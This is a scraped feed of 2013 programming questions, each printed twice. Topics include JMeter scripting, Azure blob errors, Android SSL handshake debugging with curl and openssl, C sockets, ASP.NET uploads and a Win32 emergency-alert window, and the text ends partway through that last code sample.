so that I can call the existing methods in the test project. I did some
research, and came to know that I can create a jar of my Java project,
copy the jar into the JMETER_HOME/lib/ext folder, and then use the
BeanShell Processor to call the external methods.
I am trying to use the existing test project, and call its methods to
generate a JSON payload. I added a BeanShell PreProcessor, and did
something like:
import com.qa.base.services.user.User;
User user = User.generateSimpleUser();
user.setField("username", "testUsername");
user.setField("password", "testPassword");
vars.put("requestJsonPayload");
This does not seem to work, and I get an ERROR:
ERROR - jmeter.util.BeanShellInterpreter: Error invoking bsh method: eval
Sourced file: inline evaluation of: ``import
com.qa.base.services.user.User'' : Typed variable declaration : Method
Invocation User.generateSimpleUser()
Anybody know how I can achieve what I am trying to do? Any suggestions,
comments, links to tutorials, examples would be helpful. Thanks in
advance!
The specified blob does not exist - Shows in azure browser - but when I click download does not exist
The specified blob does not exist - Shows in azure browser - but when I
click download does not exist
I've uploaded some blobs to azure. They show in the browser when I log in,
but when I attempt to download them I get following message:
This XML file does not appear to have any style information associated
with it. The document tree is shown below. BlobNotFound The specified blob
does not exist. RequestId:d3cd1a18-1e48-47bd-9985-4ab7e655eed2
Time:2013-09-19T15:02:16.4158548Z
Screenshot browsing (showing the blobs)
Screenshot showing what happens after I click download
click download does not exist
I've uploaded some blobs to azure. They show in the browser when I log in,
but when I attempt to download them I get following message:
This XML file does not appear to have any style information associated
with it. The document tree is shown below. BlobNotFound The specified blob
does not exist. RequestId:d3cd1a18-1e48-47bd-9985-4ab7e655eed2
Time:2013-09-19T15:02:16.4158548Z
Screenshot browsing (showing the blobs)
Screenshot showing what happens after I click download
Android javax.net.ssl.SSLPeerUnverifiedException: No peer certificate error in application but browser opens the URL correctly
Android javax.net.ssl.SSLPeerUnverifiedException: No peer certificate
error in application but browser opens the URL correctly
I went through most of the questions on SSLPeerUnverifiedException: No
peer certificate on SO, but could not find a solution for my problem. Most
of the solution either provide a custom Trust Manager to accept all SSL
certificate or provide a custom keystore with default certificates + my
server's certificate and allow that. But my problem is different.
I get javax.net.ssl.SSLPeerUnverifiedException: No peer certificate when I
use HttpClient I have also tried doing
public HttpClient createHttpClient()
{
HttpParams params = new BasicHttpParams();
HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1);
HttpProtocolParams.setContentCharset(params,
HTTP.DEFAULT_CONTENT_CHARSET);
HttpProtocolParams.setUseExpectContinue(params, true);
SchemeRegistry schReg = new SchemeRegistry();
schReg.register(new Scheme("http",
PlainSocketFactory.getSocketFactory(), 80));
schReg.register(new Scheme("https",
SSLSocketFactory.getSocketFactory(), 443));
ClientConnectionManager conMgr = new
ThreadSafeClientConnManager(params, schReg);
return new DefaultHttpClient(conMgr, params);
}
But my link does open in the browser in my device. (Firefox, Chrome and
default browser)
I also get no peer certificate when I test the URL with openssl
$ openssl s_client -connect myserver.com:443
CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 225 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
---
I want to know how does the browser open this link without the certificate.
I also tried the URL with Curl and it does seem to give the response
$ curl -v "https://www.myserver.com/url" -H "Accept:application/json"
* About to connect() to www.myserver.com port 443 (#0)
* Trying 1XX.XX.XX.XXX... connected
* successfully set certificate verify locations:
* CAfile: none
CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using AES128-SHA
* Server certificate:
* subject: C=US; ST=Washington; CN=*.myserver.com
* start date: 2013-09-16 00:00:00 GMT
* expire date: 2014-09-24 12:00:00 GMT
* subjectAltName: myserver.com matched
* issuer: C=US; O=DigiCert Inc; CN=DigiCert Secure Server CA
* SSL certificate verify ok.
> GET /url HTTP/1.1
> User-Agent: curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0
OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3
> Host: myserver.com
> Accept:application/json
>
< HTTP/1.1 200 OK
< Content-Length: 486
< Content-Type: application/json; charset=utf-8
< Server: Microsoft-HTTPAPI/2.0 Microsoft-HTTPAPI/2.0
< Date: Thu, 19 Sep 2013 12:23:33 GMT
<
* Connection #0 to host myserver.com left intact
* Closing connection #0
* SSLv3, TLS alert, Client hello (1):
{"My JSON Data"}
Thank you in advance for any help
error in application but browser opens the URL correctly
I went through most of the questions on SSLPeerUnverifiedException: No
peer certificate on SO, but could not find a solution for my problem. Most
of the solution either provide a custom Trust Manager to accept all SSL
certificate or provide a custom keystore with default certificates + my
server's certificate and allow that. But my problem is different.
I get javax.net.ssl.SSLPeerUnverifiedException: No peer certificate when I
use HttpClient I have also tried doing
public HttpClient createHttpClient()
{
HttpParams params = new BasicHttpParams();
HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1);
HttpProtocolParams.setContentCharset(params,
HTTP.DEFAULT_CONTENT_CHARSET);
HttpProtocolParams.setUseExpectContinue(params, true);
SchemeRegistry schReg = new SchemeRegistry();
schReg.register(new Scheme("http",
PlainSocketFactory.getSocketFactory(), 80));
schReg.register(new Scheme("https",
SSLSocketFactory.getSocketFactory(), 443));
ClientConnectionManager conMgr = new
ThreadSafeClientConnManager(params, schReg);
return new DefaultHttpClient(conMgr, params);
}
But my link does open in the browser in my device. (Firefox, Chrome and
default browser)
I also get no peer certificate when I test the URL with openssl
$ openssl s_client -connect myserver.com:443
CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 225 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
---
I want to know how does the browser open this link without the certificate.
I also tried the URL with Curl and it does seem to give the response
$ curl -v "https://www.myserver.com/url" -H "Accept:application/json"
* About to connect() to www.myserver.com port 443 (#0)
* Trying 1XX.XX.XX.XXX... connected
* successfully set certificate verify locations:
* CAfile: none
CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using AES128-SHA
* Server certificate:
* subject: C=US; ST=Washington; CN=*.myserver.com
* start date: 2013-09-16 00:00:00 GMT
* expire date: 2014-09-24 12:00:00 GMT
* subjectAltName: myserver.com matched
* issuer: C=US; O=DigiCert Inc; CN=DigiCert Secure Server CA
* SSL certificate verify ok.
> GET /url HTTP/1.1
> User-Agent: curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0
OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3
> Host: myserver.com
> Accept:application/json
>
< HTTP/1.1 200 OK
< Content-Length: 486
< Content-Type: application/json; charset=utf-8
< Server: Microsoft-HTTPAPI/2.0 Microsoft-HTTPAPI/2.0
< Date: Thu, 19 Sep 2013 12:23:33 GMT
<
* Connection #0 to host myserver.com left intact
* Closing connection #0
* SSLv3, TLS alert, Client hello (1):
{"My JSON Data"}
Thank you in advance for any help
NullPointerException in createBitmap() from View
NullPointerException in createBitmap() from View
I am using the below code for getting a Bitmap from a View :
private static Bitmap loadBitmapFromView(View yourView) {
Bitmap snapshot = null;
Drawable drawable = null;
yourView.setDrawingCacheEnabled(true);
yourView.setDrawingCacheQuality(View.DRAWING_CACHE_QUALITY_HIGH);
//Quality of the snpashot
try {
snapshot = Bitmap.createBitmap(yourView.getDrawingCache());
drawable = new BitmapDrawable(snapshot);
} finally {
yourView.setDrawingCacheEnabled(false);
}
return snapshot;
}
But I am getting NullPointerException on the following line:
snapshot = Bitmap.createBitmap(yourView.getDrawingCache());
I am using the below code for getting a Bitmap from a View :
private static Bitmap loadBitmapFromView(View yourView) {
Bitmap snapshot = null;
Drawable drawable = null;
yourView.setDrawingCacheEnabled(true);
yourView.setDrawingCacheQuality(View.DRAWING_CACHE_QUALITY_HIGH);
//Quality of the snpashot
try {
snapshot = Bitmap.createBitmap(yourView.getDrawingCache());
drawable = new BitmapDrawable(snapshot);
} finally {
yourView.setDrawingCacheEnabled(false);
}
return snapshot;
}
But I am getting NullPointerException on the following line:
snapshot = Bitmap.createBitmap(yourView.getDrawingCache());
How to create a spring web application using Amazon
How to create a spring web application using Amazon
Am new to Amazon Cloud service, I have to create a web application using
Springs, Maven and Amazon DynamoDB. For that I have to create in Amazon
Elastic Bean Services only or normally we can create a Maven spring
project and include amazon dynamodb dependencies and deploy to Amazon EC2
cloud service. Now I really stuck with it? .. How to create a web app with
Amazon enabled services?
Am new to Amazon Cloud service, I have to create a web application using
Springs, Maven and Amazon DynamoDB. For that I have to create in Amazon
Elastic Bean Services only or normally we can create a Maven spring
project and include amazon dynamodb dependencies and deploy to Amazon EC2
cloud service. Now I really stuck with it? .. How to create a web app with
Amazon enabled services?
Wednesday, 18 September 2013
socket programming in linux by c
socket programming in linux by c
I am getting error in socket programming. That error is Accept
failed.Error: Socket operation on non-socket Here is snippet of code:
sizes=sizeof(struct sockaddr_in);
if((new_socket=accept(socket_rcv,(structsockaddr*)&client,&sizes))!=-1)
{
printf("\n %d, Accepted",new_socket);
if(recv(new_socket,(char*)buffer,size,flag)<0)
{
printf("\n No data received from %d socket",new_socket);
return 1;
}
printf("\n Data Received\n");
}
if(new_socket==-1)
{
perror("Accept failed.Error:");
return 1;
}
close(socket_rcv);
I am getting error in socket programming. That error is Accept
failed.Error: Socket operation on non-socket Here is snippet of code:
sizes=sizeof(struct sockaddr_in);
if((new_socket=accept(socket_rcv,(structsockaddr*)&client,&sizes))!=-1)
{
printf("\n %d, Accepted",new_socket);
if(recv(new_socket,(char*)buffer,size,flag)<0)
{
printf("\n No data received from %d socket",new_socket);
return 1;
}
printf("\n Data Received\n");
}
if(new_socket==-1)
{
perror("Accept failed.Error:");
return 1;
}
close(socket_rcv);
Have table inside div ignore max-width?
Have table inside div ignore max-width?
I have the following code:
<div style="max-width: 100px; overflow: scroll">
<table>...</table>
</div>
I want to limit the size of the div, but have the table stretch as far as
it wants (i.e. ignoring the max-width attribute of the parent div. How do
you do this? Currently the browser resizes the table in attempt to follow
the max-width...
I have the following code:
<div style="max-width: 100px; overflow: scroll">
<table>...</table>
</div>
I want to limit the size of the div, but have the table stretch as far as
it wants (i.e. ignoring the max-width attribute of the parent div. How do
you do this? Currently the browser resizes the table in attempt to follow
the max-width...
Python design pattern suggestions for type translation
Python design pattern suggestions for type translation
I am teaching myself Python OOP and developing a program to translate
database DDL between DBMS flavours (MSSQL Server, DB2, Oracle and more).
Basically the program takes a DDL file, source DBMS type and target DBMS
type as arguments, and generates target DDL as required. To implement the
behaviour to translate I can only think of a quite long and complex set of
nested if statementst, for example (pseudocode only):
if sourceDBMS is 'a'
if targetDBMS is 'b'
translateAtoB()
if targetDBMS is 'c'
translateAtoC()
if sourceDBMS is 'b'
if targetDBMS is 'a'
translateBtoA()
if targetDBMS is 'c'
translateBtoC()
if sourceDBMS is 'c'
if targetDBMS is 'a'
translateCtoA()
if targetDBMS is 'b'
translateCtob()
Can anyone suggest a pattern that would simplify this logic based on 2
choices of many option types for source & target?
I am teaching myself Python OOP and developing a program to translate
database DDL between DBMS flavours (MSSQL Server, DB2, Oracle and more).
Basically the program takes a DDL file, source DBMS type and target DBMS
type as arguments, and generates target DDL as required. To implement the
behaviour to translate I can only think of a quite long and complex set of
nested if statementst, for example (pseudocode only):
if sourceDBMS is 'a'
if targetDBMS is 'b'
translateAtoB()
if targetDBMS is 'c'
translateAtoC()
if sourceDBMS is 'b'
if targetDBMS is 'a'
translateBtoA()
if targetDBMS is 'c'
translateBtoC()
if sourceDBMS is 'c'
if targetDBMS is 'a'
translateCtoA()
if targetDBMS is 'b'
translateCtob()
Can anyone suggest a pattern that would simplify this logic based on 2
choices of many option types for source & target?
Required not work good
Required not work good
i am new here. and i have problem with php.. and i am new in php. i have
input and i don't want to do "Required input" . but its Required.. want i
can do? how can i delete "Required"? i need new code with preg_match but
this Field without Required.
my code is:
if(!preg_match("%^(https?://)([a-z0-9-].?)+(:[0-9]+)?(/.*)?$%i", $temp2)){
$this->class->obj['post_errors'] = 'no_image'; }
and i dont want "Required". thx all helpers. sorry my english.
i am new here. and i have problem with php.. and i am new in php. i have
input and i don't want to do "Required input" . but its Required.. want i
can do? how can i delete "Required"? i need new code with preg_match but
this Field without Required.
my code is:
if(!preg_match("%^(https?://)([a-z0-9-].?)+(:[0-9]+)?(/.*)?$%i", $temp2)){
$this->class->obj['post_errors'] = 'no_image'; }
and i dont want "Required". thx all helpers. sorry my english.
Finding the first child of an XML Elem in Scala
Finding the first child of an XML Elem in Scala
So, I'm working on a project which can receive multiple types of XML
requests. The type of the request is determined by the first child of the
root tag. So you could get something like this:
<a>
<b>
foo
</b>
</a>
or:
<a>
<c>
foo
</c>
</a>
And perform a certain operation on foo, based on whether the first child
of <a> is <b> or <c>. I can't figure out any simple way to determine the
first child of . I suppose I could do repetitive matching, first checking
for a \ 'b' then a \ 'c', etc. But I need to handle a bunch of different
request types, so this would get unwieldy quick. Elem.child isn't helpful,
it just returns a one-element list: the Element itself.
How can I get the first child of an Element, without knowing beforehand
the name of the tag?
So, I'm working on a project which can receive multiple types of XML
requests. The type of the request is determined by the first child of the
root tag. So you could get something like this:
<a>
<b>
foo
</b>
</a>
or:
<a>
<c>
foo
</c>
</a>
And perform a certain operation on foo, based on whether the first child
of <a> is <b> or <c>. I can't figure out any simple way to determine the
first child of . I suppose I could do repetitive matching, first checking
for a \ 'b' then a \ 'c', etc. But I need to handle a bunch of different
request types, so this would get unwieldy quick. Elem.child isn't helpful,
it just returns a one-element list: the Element itself.
How can I get the first child of an Element, without knowing beforehand
the name of the tag?
ASP.net CSV file upload
ASP.net CSV file upload
When I want to try the file upload in ASP.Net MVC,I am receive the
following error.
file errorA first chance exception of type 'System.NullReferenceException'
occurred in administratorPortal.dll file errorThe thread '' (0x21e4) has
exited with code 0 (0x0). A first chance exception of type
'System.NullReferenceException' occurred in administratorPortal.dll
in my view
<form action="../../Controllers/patientAppointmentController.cs" method=post>
<input id="model" type="file" name="fileUpload" data-val="true"
data-val-required="File is required" />
<input class="btn btn-primary" type="submit" value="Import" />
</form>
in my controller
public ActionResult CSVUpload(HttpPostedFileBase fileUpload)
{
try
{
Debug.Write(fileUpload.ContentLength);
if (fileUpload.ContentLength < 0 || fileUpload == null)
{
Debug.Write("unable to detectFile");
}
}
catch
{
Debug.Write("file error");
}
return View();
}
there is some problem, i cant even get the file passed to the controller.
i had tried many different method found on the internet, but none of them
work for me.
i had install CSVhelper
thanks so much for helping !
weiyang
When I want to try the file upload in ASP.Net MVC,I am receive the
following error.
file errorA first chance exception of type 'System.NullReferenceException'
occurred in administratorPortal.dll file errorThe thread '' (0x21e4) has
exited with code 0 (0x0). A first chance exception of type
'System.NullReferenceException' occurred in administratorPortal.dll
in my view
<form action="../../Controllers/patientAppointmentController.cs" method=post>
<input id="model" type="file" name="fileUpload" data-val="true"
data-val-required="File is required" />
<input class="btn btn-primary" type="submit" value="Import" />
</form>
in my controller
public ActionResult CSVUpload(HttpPostedFileBase fileUpload)
{
try
{
Debug.Write(fileUpload.ContentLength);
if (fileUpload.ContentLength < 0 || fileUpload == null)
{
Debug.Write("unable to detectFile");
}
}
catch
{
Debug.Write("file error");
}
return View();
}
there is some problem, i cant even get the file passed to the controller.
i had tried many different method found on the internet, but none of them
work for me.
i had install CSVhelper
thanks so much for helping !
weiyang
rsAccessDenied on new reporting services report server link created by the reporting services configuration manager
rsAccessDenied on new reporting services report server link created by the
reporting services configuration manager
On a Windows 7 computer we installed SQL Server 2012 Business with the
reporting services.
We tried to use the reporting services configuration manager and chose the
default settings for the report server.
We now have a clickable URL link to the report server. When I click on the
link that was created, this error message is displayed:
Reporting Services Error
The permissions granted to user '<our computer name>\<our admin user>' are
insufficient for performing this operation. (rsAccessDenied) Get Online
Help
SQL Server Reporting Services
Can you tell us how to grant the needed permissions?
Thanks.
reporting services configuration manager
On a Windows 7 computer we installed SQL Server 2012 Business with the
reporting services.
We tried to use the reporting services configuration manager and chose the
default settings for the report server.
We now have a clickable URL link to the report server. When I click on the
link that was created, this error message is displayed:
Reporting Services Error
The permissions granted to user '<our computer name>\<our admin user>' are
insufficient for performing this operation. (rsAccessDenied) Get Online
Help
SQL Server Reporting Services
Can you tell us how to grant the needed permissions?
Thanks.
Extract information from raw email
Extract information from raw email
I need a way to extract to/from/subject from a massive email archive.
They're just the raw sources of each email but I'm finding that there is a
massive range in formatting making it hard to get the info I need. I'm
using regular expressions which is working but not in all cases.
Can anyone suggest a more bullet proof way to do this or a resource that
would show me all the different acceptable formatting of to/from/subject?
I need a way to extract to/from/subject from a massive email archive.
They're just the raw sources of each email but I'm finding that there is a
massive range in formatting making it hard to get the info I need. I'm
using regular expressions which is working but not in all cases.
Can anyone suggest a more bullet proof way to do this or a resource that
would show me all the different acceptable formatting of to/from/subject?
How to build Gmail like search box in the action bar?
How to build Gmail like search box in the action bar?
I am currently using SearchView widget to filter a list while searching.
I want to create a Gmail like search box with auto suggest list generated.
What's the best way to do this ?
Specifically, I am talking about the drop down effect. What view component
can I use for that ?
I am currently using SearchView widget to filter a list while searching.
I want to create a Gmail like search box with auto suggest list generated.
What's the best way to do this ?
Specifically, I am talking about the drop down effect. What view component
can I use for that ?
Tuesday, 17 September 2013
Angular ng-repeat pass item to function with parent data?
Angular ng-repeat pass item to function with parent data?
here is the plunkr: http://plnkr.co/edit/QuG8NcOvPKVAnfRNYwlx?p=preview
I need to dig down to the {{trade}} then pass the {{trade}} with its
parents to the open function.
or attach the parents from within the open() function so i can hand the
data off to another controller.
right now i only have the {{trade}} no parent tree.
<table ng-controller = "TickerListCtrl">
<thead>
<th>Symbol</th>
</thead>
<tbody ng-repeat="ticker in tickers">
<tr ng-click="showTrades(ticker)">
<td>{{ticker.Ticker}}</td>
</tr>
<tr ng-show="ticker.showTrades">
<td colspan="2">
<ul ng-repeat="trade in ticker.trades">
<li ng-click="open(trade)">{{trade}}</li>
</ul>
</td>
</tr>
</tbody>
</table>
here is the plunkr: http://plnkr.co/edit/QuG8NcOvPKVAnfRNYwlx?p=preview
I need to dig down to the {{trade}} then pass the {{trade}} with its
parents to the open function.
or attach the parents from within the open() function so i can hand the
data off to another controller.
right now i only have the {{trade}} no parent tree.
<table ng-controller = "TickerListCtrl">
<thead>
<th>Symbol</th>
</thead>
<tbody ng-repeat="ticker in tickers">
<tr ng-click="showTrades(ticker)">
<td>{{ticker.Ticker}}</td>
</tr>
<tr ng-show="ticker.showTrades">
<td colspan="2">
<ul ng-repeat="trade in ticker.trades">
<li ng-click="open(trade)">{{trade}}</li>
</ul>
</td>
</tr>
</tbody>
</table>
Storing Large Amounts of Dictionary-Like Data Within an Application in Java
Storing Large Amounts of Dictionary-Like Data Within an Application in Java
I fear I may not be truly understanding the utility of database software
like MySQL, so perhaps this is an easy question to answer.
I'm writing a program that stores and accesses a bestiary for use in the
program. It is a stand-alone application, meaning that it will not connect
to the internet or a database (which I am under the impression requires a
connection to a server). Currently, I have an enormous .txt file that it
parses via a simple pattern (Habitat is on every tenth line, starting with
the seventh; name is on every tenth line, starting with the first; etc.)
This is prone to parsing errors (problems with reading data that is
unrecognizable with the specified encoding, as a lot of the data is
copy/pasted by lazy data-entry-ists) and I just feel that parsing a giant
.txt file every time I want data is horribly inefficient. Plus, I've never
seen a deployed program that had a .txt laying around called "All of our
important data.txt".
Are databases the answer? Can they be used simply in basic applications
like this one? Writing a class for each animal seems silly. I've heard XML
can help, too - but I know virtually nothing about it except that its a
mark-up language.
In summary, I just don't know how to store large amounts of data within an
application. A good analogy would be: How would you store data for a
dictionary/encyclopedia application?
I fear I may not be truly understanding the utility of database software
like MySQL, so perhaps this is an easy question to answer.
I'm writing a program that stores and accesses a bestiary for use in the
program. It is a stand-alone application, meaning that it will not connect
to the internet or a database (which I am under the impression requires a
connection to a server). Currently, I have an enormous .txt file that it
parses via a simple pattern (Habitat is on every tenth line, starting with
the seventh; name is on every tenth line, starting with the first; etc.)
This is prone to parsing errors (problems with reading data that is
unrecognizable with the specified encoding, as a lot of the data is
copy/pasted by lazy data-entry-ists) and I just feel that parsing a giant
.txt file every time I want data is horribly inefficient. Plus, I've never
seen a deployed program that had a .txt laying around called "All of our
important data.txt".
Are databases the answer? Can they be used simply in basic applications
like this one? Writing a class for each animal seems silly. I've heard XML
can help, too - but I know virtually nothing about it except that its a
mark-up language.
In summary, I just don't know how to store large amounts of data within an
application. A good analogy would be: How would you store data for a
dictionary/encyclopedia application?
How would I go about disabling the close button?
How would I go about disabling the close button?
First of all, let me get my point for this:
This is an emergency alert system, it pulls from a website which we
manipulate in the back office, the program can be minimized but cannot be
closed (easily, at least none of the people that will use it will know
how). As you can see, if the program as close the Emergency Alerts
wouldn't be seen/heard....that's an issue. I have to deploy this
application on over 200 computers so I want it simple, I don't want to
create a scheduled task, etc.. to keep it running. I simply want it to not
be easy to close.
See my code, below:
/* example.c
This is a Win32 C application (ie, no MFC, WTL, nor even any C++ -- just
plain C) that demonstrates
how to embed a browser "control" (actually, an OLE object) in your own
window (in order to display a
web page, or an HTML file on disk). The bulk of the OLE/COM code is in
DLL.c which creates a DLL that
we use in this simple app. Furthermore, we use LoadLibrary and
GetProcAddress, so our DLL is not
actually loaded until/unless we need it.
NOTE: The DLL we create does not normally use UNICODE strings. If you
compile this example as UNICODE,
then you should do the same with DLL.C.
*/
#include <windows.h>
#include "..\CWebPage.h" /* Declarations of the functions in DLL.c */
// A running count of how many windows we have open that contain a browser
object
unsigned char WindowCount = 0;
// The class name of our Window to host the browser. It can be anything of
your choosing.
static const TCHAR ClassName[] = "EAS";
// Where we store the pointers to CWebPage.dll's functions
EmbedBrowserObjectPtr *lpEmbedBrowserObject;
UnEmbedBrowserObjectPtr *lpUnEmbedBrowserObject;
DisplayHTMLPagePtr *lpDisplayHTMLPage;
DisplayHTMLStrPtr *lpDisplayHTMLStr;
/****************************** WindowProc() ***************************
* Our message handler for our window to host the browser.
*/
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM
lParam)
{
if (uMsg == WM_CREATE)
{
// Embed the browser object into our host window. We need do this
only
// once. Note that the browser object will start calling some of our
// IOleInPlaceFrame and IOleClientSite functions as soon as we start
// calling browser object functions in EmbedBrowserObject().
if ((*lpEmbedBrowserObject)(hwnd)) return(-1);
// Another window created with an embedded browser object
++WindowCount;
// Success
return(0);
}
if (uMsg == WM_DESTROY)
{
// Detach the browser object from this window, and free resources.
(*lpUnEmbedBrowserObject)(hwnd);
// One less window
--WindowCount;
// If all the windows are now closed, quit this app
if (!WindowCount) PostQuitMessage(0);
return(TRUE);
}
// NOTE: If you want to resize the area that the browser object
occupies when you
// resize the window, then handle WM_SIZE and use the IWebBrowser2's
put_Width()
// and put_Height() to give it the new dimensions.
return(DefWindowProc(hwnd, uMsg, wParam, lParam));
}
/****************************** WinMain() ***************************
* C program entry point.
*
* This creates a window to host the web browser, and displays a web
* page.
*/
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hInstNULL, LPSTR
lpszCmdLine, int nCmdShow)
{
HINSTANCE cwebdll;
MSG msg;
WNDCLASSEX wc;
// Load our DLL containing the OLE/COM code. We do this once-only.
It's named "cwebpage.dll"
if ((cwebdll = LoadLibrary("cwebpage.dll")))
{
// Get pointers to the EmbedBrowserObject, DisplayHTMLPage,
DisplayHTMLStr, and UnEmbedBrowserObject
// functions, and store them in some globals.
// Get the address of the EmbedBrowserObject() function. NOTE:
Only Reginald has this one
lpEmbedBrowserObject = (EmbedBrowserObjectPtr
*)GetProcAddress((HINSTANCE)cwebdll, "EmbedBrowserObject");
// Get the address of the UnEmbedBrowserObject() function. NOTE:
Only Reginald has this one
lpUnEmbedBrowserObject = (UnEmbedBrowserObjectPtr
*)GetProcAddress((HINSTANCE)cwebdll, "UnEmbedBrowserObject");
// Get the address of the DisplayHTMLPagePtr() function
lpDisplayHTMLPage = (DisplayHTMLPagePtr
*)GetProcAddress((HINSTANCE)cwebdll, "DisplayHTMLPage");
// Get the address of the DisplayHTMLStr() function
lpDisplayHTMLStr = (DisplayHTMLStrPtr
*)GetProcAddress((HINSTANCE)cwebdll, "DisplayHTMLStr");
// Register the class of our window to host the browser.
'WindowProc' is our message handler
// and 'ClassName' is the class name. You can choose any class
name you want.
ZeroMemory(&wc, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.hInstance = hInstance;
wc.lpfnWndProc = WindowProc;
wc.lpszClassName = &ClassName[0];
RegisterClassEx(&wc);
// Create another window with another browser object embedded in it.
if ((msg.hwnd = CreateWindowEx(0, &ClassName[0], "Emergency Alert
System", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0,
HWND_DESKTOP, NULL, hInstance, 0)))
{
// For this window, display a URL. This could also be a HTML
file on disk such as "c:\\myfile.htm".
(*lpDisplayHTMLPage)(msg.hwnd, "http://www.google.com");
// Show the window.
ShowWindow(msg.hwnd, nCmdShow);
UpdateWindow(msg.hwnd);
}
// Do a message loop until WM_QUIT.
while (GetMessage(&msg, 0, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Free the DLL.
FreeLibrary(cwebdll);
return(0);
}
MessageBox(0, "Can't open cwebpage.dll! You are not protected by
Emergency Alerting System. Click OK to terminate this application.
Contact the developer, Scott Plunkett.", "ERROR", MB_OK);
return(-1);
}
It took this from an example tutorial I found, I have never done any
windows programming before so I had to figure out a quick solution.
I appreciate any and all help on this.
First of all, let me get my point for this:
This is an emergency alert system, it pulls from a website which we
manipulate in the back office, the program can be minimized but cannot be
closed (easily, at least none of the people that will use it will know
how). As you can see, if the program as close the Emergency Alerts
wouldn't be seen/heard....that's an issue. I have to deploy this
application on over 200 computers so I want it simple, I don't want to
create a scheduled task, etc.. to keep it running. I simply want it to not
be easy to close.
See my code, below:
/* example.c
This is a Win32 C application (ie, no MFC, WTL, nor even any C++ -- just
plain C) that demonstrates
how to embed a browser "control" (actually, an OLE object) in your own
window (in order to display a
web page, or an HTML file on disk). The bulk of the OLE/COM code is in
DLL.c which creates a DLL that
we use in this simple app. Furthermore, we use LoadLibrary and
GetProcAddress, so our DLL is not
actually loaded until/unless we need it.
NOTE: The DLL we create does not normally use UNICODE strings. If you
compile this example as UNICODE,
then you should do the same with DLL.C.
*/
#include <windows.h>
#include "..\CWebPage.h" /* Declarations of the functions in DLL.c */
// A running count of how many windows we have open that contain a browser
object
unsigned char WindowCount = 0;
// The class name of our Window to host the browser. It can be anything of
your choosing.
static const TCHAR ClassName[] = "EAS";
// Where we store the pointers to CWebPage.dll's functions
EmbedBrowserObjectPtr *lpEmbedBrowserObject;
UnEmbedBrowserObjectPtr *lpUnEmbedBrowserObject;
DisplayHTMLPagePtr *lpDisplayHTMLPage;
DisplayHTMLStrPtr *lpDisplayHTMLStr;
/****************************** WindowProc() ***************************
* Our message handler for our window to host the browser.
*/
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM
lParam)
{
if (uMsg == WM_CREATE)
{
// Embed the browser object into our host window. We need do this
only
// once. Note that the browser object will start calling some of our
// IOleInPlaceFrame and IOleClientSite functions as soon as we start
// calling browser object functions in EmbedBrowserObject().
if ((*lpEmbedBrowserObject)(hwnd)) return(-1);
// Another window created with an embedded browser object
++WindowCount;
// Success
return(0);
}
if (uMsg == WM_DESTROY)
{
// Detach the browser object from this window, and free resources.
(*lpUnEmbedBrowserObject)(hwnd);
// One less window
--WindowCount;
// If all the windows are now closed, quit this app
if (!WindowCount) PostQuitMessage(0);
return(TRUE);
}
// NOTE: If you want to resize the area that the browser object
occupies when you
// resize the window, then handle WM_SIZE and use the IWebBrowser2's
put_Width()
// and put_Height() to give it the new dimensions.
return(DefWindowProc(hwnd, uMsg, wParam, lParam));
}
/****************************** WinMain() ***************************
* C program entry point.
*
* This creates a window to host the web browser, and displays a web
* page.
*/
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hInstNULL, LPSTR
lpszCmdLine, int nCmdShow)
{
HINSTANCE cwebdll;
MSG msg;
WNDCLASSEX wc;
// Load our DLL containing the OLE/COM code. We do this once-only.
It's named "cwebpage.dll"
if ((cwebdll = LoadLibrary("cwebpage.dll")))
{
// Get pointers to the EmbedBrowserObject, DisplayHTMLPage,
DisplayHTMLStr, and UnEmbedBrowserObject
// functions, and store them in some globals.
// Get the address of the EmbedBrowserObject() function. NOTE:
Only Reginald has this one
lpEmbedBrowserObject = (EmbedBrowserObjectPtr
*)GetProcAddress((HINSTANCE)cwebdll, "EmbedBrowserObject");
// Get the address of the UnEmbedBrowserObject() function. NOTE:
Only Reginald has this one
lpUnEmbedBrowserObject = (UnEmbedBrowserObjectPtr
*)GetProcAddress((HINSTANCE)cwebdll, "UnEmbedBrowserObject");
// Get the address of the DisplayHTMLPagePtr() function
lpDisplayHTMLPage = (DisplayHTMLPagePtr
*)GetProcAddress((HINSTANCE)cwebdll, "DisplayHTMLPage");
// Get the address of the DisplayHTMLStr() function
lpDisplayHTMLStr = (DisplayHTMLStrPtr
